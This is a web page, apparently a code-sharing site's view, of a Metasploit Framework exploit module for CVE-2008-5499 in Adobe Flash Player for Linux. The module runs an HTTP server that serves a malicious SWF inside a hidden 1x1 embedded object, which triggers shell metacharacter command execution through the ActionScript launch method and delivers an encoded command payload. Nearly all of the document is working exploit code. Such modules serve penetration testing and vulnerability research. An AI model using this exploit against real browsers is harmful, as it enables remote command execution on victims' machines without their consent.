Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info = {})11super(update_info(info,12'Name' => 'Adobe Flash Player ActionScript Launch Command Execution Vulnerability',13'Description' => %q{14This module exploits a vulnerability in Adobe Flash Player for Linux,15version 10.0.12.36 and 9.0.151.0 and prior.16An input validation vulnerability allows command execution when the browser17loads a SWF file which contains shell metacharacters in the arguments to18the ActionScript launch method.1920The victim must have Adobe AIR installed for the exploit to work. This module21was tested against version 10.0.12.36 (10r12_36).22},23'License' => MSF_LICENSE,24'Author' =>25[26'0a29406d9794e4f9b30b3c5d6702c708', # Metasploit version27],28'References' =>29[30['CVE', '2008-5499'],31['OSVDB', '50796'],32['BID', '32896'],33['URL', 'http://www.adobe.com/support/security/bulletins/apsb08-24.html']34],35'DefaultOptions' =>36{37'HTTP::compression' => 'gzip',38'HTTP::chunked' => true39},40'Platform' => 'unix', # so unix cmd exec payloads are ok41'Arch' => ARCH_CMD,42'Targets' =>43[44[ 'Automatic', {}],45],46'DisclosureDate' => '2008-12-17',47'DefaultTarget' => 0))4849end5051def exploit52path = File.join( Msf::Config.data_directory, "exploits", "CVE-2008-5499.swf" )53fd = File.open( path, "rb" )54@swf = fd.read(fd.stat.size)55fd.close5657super58end5960def on_request_uri(cli, request)61msg = "#{cli.peerhost.ljust(16)} #{self.shortname}"62trigger = @swf63trigger_file = rand_text_alpha(rand(6)+3) + ".swf"6465obj_id = rand_text_alpha(rand(6)+3)6667if request.uri.match(/\.swf/i)68print_status("#{msg} Sending Exploit SWF")69send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })70return71end7273if request.uri.match(/\.txt/i)74send_response(cli, payload.encoded, { 'Content-Type' => 'text/plain' })75return76end7778html = <<-EOS79<html>80<head>81</head>82<body>83<center>84<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="#{obj_id}" width="1" height="1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">85<param name="movie" value="#{get_resource}#{trigger_file}" />86<embed src="#{get_resource}#{trigger_file}" quality="high" width="1" height="1" name="#{obj_id}" align="middle" allowNetworking="all"87type="application/x-shockwave-flash"88pluginspage="http://www.macromedia.com/go/getflashplayer">89</embed>9091</object>92</center>9394</body>95</html>96EOS9798print_status("#{msg} Sending HTML...")99send_response(cli, html, { 'Content-Type' => 'text/html' })100end101end102103104